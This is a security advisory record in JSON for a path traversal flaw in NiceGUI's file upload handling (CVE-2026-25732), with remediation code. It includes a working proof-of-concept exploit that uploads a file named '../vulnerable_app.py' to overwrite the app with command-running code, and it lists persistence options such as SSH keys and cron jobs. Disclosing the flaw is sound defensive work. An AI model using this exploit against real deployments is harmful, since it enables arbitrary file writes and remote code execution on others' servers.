{"id":"GHSA-9ffm-fxg3-xrhh","summary":"NiceGUI's Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write","details":"### Summary\nNiceGUI's `FileUpload.name` property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern `UPLOAD_DIR / file.name`. Malicious filenames containing `../` sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.\n\n**Note**: Exploitation requires application code incorporating `file.name` into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.\n\n### Details\n**Vulnerable Component**: `nicegui/elements/upload_files.py` ([upload_files.py#L79-L82](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82) and [upload_files.py#L110-L115](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115))\n\n**Affected Methods**: `SmallFileUpload.save()`and `LargeFileUpload.save()`\n\n```py\nasync def save(self, path: str | Path) -\u003e None:\n    target = Path(path)\n    target.parent.mkdir(parents=True, exist_ok=True)\n    await run.io_bound(target.write_bytes, self._data)\n```\n\n**Root Cause**: The `save()` method performs no validation on the provided path parameter. It accepts:\n- Relative paths with `../` sequences\n- Absolute paths\n- Any file system location writable by the process\n\nWhen developers use `e.file.name` (controlled by the attacker) in constructing save paths, directory traversal occurs:\n```py\nsave_path = UPLOAD_DIR / e.file.name  # e.file.name = \"../app.py\"\nawait e.file.save(save_path)           # Writes outside UPLOAD_DIR\n```\n\n### PoC\n- Terminal 1 (App)\n```bash\ncd /tmp && mkdir -p evilgui && cd evilgui\npython3 -m venv evilgui && source evilgui/bin/activate\npip install nicegui\n\ncat \u003e vulnerable_app.py \u003c\u003c 'EOF'\nfrom nicegui import ui\nfrom pathlib import Path\n\nUPLOAD_DIR = Path('./uploads')\nUPLOAD_DIR.mkdir(exist_ok=True)\n\n@ui.page('/')\ndef index():\n    async def handle_upload(e):\n        save_path = UPLOAD_DIR / e.file.name\n        await e.file.save(save_path)\n        ui.notify(f'File saved: {e.file.name}')\n    \n    ui.upload(on_upload=handle_upload, auto_upload=True)\n\nui.run(port=8080, reload=False)\nEOF\n\npython3 vulnerable_app.py &\n```\n\n- Terminal 2 (Exploit)\n```bash\ncat \u003e exploit.py \u003c\u003c 'EOF'\nimport requests, re, time\n\ns = requests.Session()\ns.get('http://localhost:8080')\ntime.sleep(2)\n\nhtml = s.get('http://localhost:8080').text\nmatch = re.search(r'/_nicegui/client/([^/]+)/upload/(\\d+)', html)\nupload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'\n\npayload = '''from nicegui import ui\nimport subprocess\n@ui.page(\"/\")\ndef index():\n    ui.label(subprocess.check_output([\"id\"], text=True))\nui.run(port=8080, reload=False)\n'''\n\ns.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})\nEOF\n\npython3 exploit.py\n```\n- Restart the application to execute the injected code:\n```\npkill -f vulnerable_app && python3 vulnerable_app.py\n```\n- Observe http://localhost:8080\n\n### Impact\n**Affected Applications**: All NiceGUI applications using `ui.upload()` where developers save files with `e.file.save()` and include user-controlled filenames (e.g., `e.file.name`) in the path.\n\n**Attack Capabilities**:\n- Write files to any location writable by the application process\n- Overwrite Python application files to achieve remote code execution upon restart\n- Overwrite configuration files to alter application behavior\n- Write SSH keys, systemd units, or cron jobs for persistent access\n- Deny service by corrupting critical files\n\n**Exploitability**: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like `../../../app.py` to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use `e.file.name` directly, following patterns shown in community examples.\n\n### Remediation\n#### For Users\n```py\nasync def handle_upload(e):\n    safe_name = Path(e.file.name).name # Strip directory components!\n    await e.file.save(UPLOAD_DIR / safe_name)\n```\n\n#### For Maintainers\n```py\nasync def save(self, path: str | Path, *, base_dir: Path | None = None) -\u003e None:\n    target = Path(path).resolve()\n    \n    if base_dir is not None:\n        base_dir = base_dir.resolve()\n        if not target.is_relative_to(base_dir):\n            raise ValueError(\n                f\"Path '{target}' escapes base directory '{base_dir}'\"\n            )\n    \n    target.parent.mkdir(parents=True, exist_ok=True)\n    await run.io_bound(target.write_bytes, self._data)\n````","aliases":["CVE-2026-25732","PYSEC-2026-95"],"modified":"2026-06-06T15:00:08.265366851Z","published":"2026-02-05T21:08:53Z","database_specific":{"nvd_published_at":"2026-02-06T22:16:11Z","cwe_ids":["CWE-22","CWE-601"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-02-05T21:08:53Z"},"references":[{"type":"WEB","url":"https://github.com/zauberzeug/nicegui/security/advisories/GHSA-9ffm-fxg3-xrhh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25732"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nicegui/PYSEC-2026-95.yaml"},{"type":"PACKAGE","url":"https://github.com/zauberzeug/nicegui"},{"type":"WEB","url":"https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115"},{"type":"WEB","url":"https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82"}],"affected":[{"package":{"name":"nicegui","ecosystem":"PyPI","purl":"pkg:pypi/nicegui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.7.0"}]}],"versions":["0.1.0","0.1.4","0.1.6","0.2.0","0.2.1","0.2.10","0.2.11","0.2.12","0.2.13","0.2.14","0.2.15","0.2.2","0.2.3","0.2.4","0.2.9","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.10","0.4.11","0.4.12","0.4.13","0.4.14","0.4.15","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.5.1","0.5.10","0.5.11","0.5.12","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.10","0.7.11","0.7.12","0.7.13","0.7.14","0.7.15","0.7.16","0.7.17","0.7.18","0.7.19","0.7.2","0.7.21","0.7.22","0.7.23","0.7.24","0.7.25","0.7.26","0.7.27","0.7.28","0.7.29","0.7.3","0.7.30","0.7.4","0.7.6","0.7.7","0.7.8","0.7.9","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.13","0.8.14","0.8.15","0.8.16","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.1.10","1.1.11","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.2.0","1.2.1","1.2.10","1.2.11","1.2.12","1.2.13","1.2.14","1.2.15","1.2.16","1.2.17","1.2.18","1.2.2","1.2.20","1.2.21","1.2.22","1.2.23","1.2.24","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.3.0","1.3.1","1.3.10","1.3.11","1.3.12","1.3.13","1.3.14","1.3.15","1.3.16","1.3.17","1.3.18","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.1","1.4.10","1.4.11","1.4.12","1.4.13","1.4.14","1.4.15","1.4.16","1.4.17","1.4.18","1.4.19","1.4.2","1.4.20","1.4.21","1.4.22","1.4.23","1.4.24","1.4.25","1.4.26","1.4.27","1.4.28","1.4.29","1.4.3","1.4.30","1.4.31","1.4.33","1.4.34","1.4.35","1.4.36","1.4.37","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","2.0.0","2.0.1","2.1.0","2.10.0","2.10.1","2.11.0","2.11.1","2.12.0","2.12.1","2.13.0","2.14.0","2.14.1","2.15.0","2.16.0","2.16.1","2.17.0","2.18.0","2.19.0","2.2.0","2.20.0","2.21.0","2.21.1","2.22.0","2.22.1","2.22.2","2.23.0","2.23.1","2.23.2","2.23.3","2.24.0","2.24.1","2.24.2","2.3.0","2.4.0","2.5.0","2.7.0","2.8.0","2.8.1","2.9.0","2.9.1","3.0.0","3.0.0rc1","3.0.1","3.0.2","3.0.3","3.0.4","3.1.0","3.2.0","3.3.0","3.3.1","3.4.0","3.4.1","3.5.0","3.6.0","3.6.1"],"database_specific":{"last_known_affected_version_range":"\u003c= 3.6.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-9ffm-fxg3-xrhh/GHSA-9ffm-fxg3-xrhh.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]}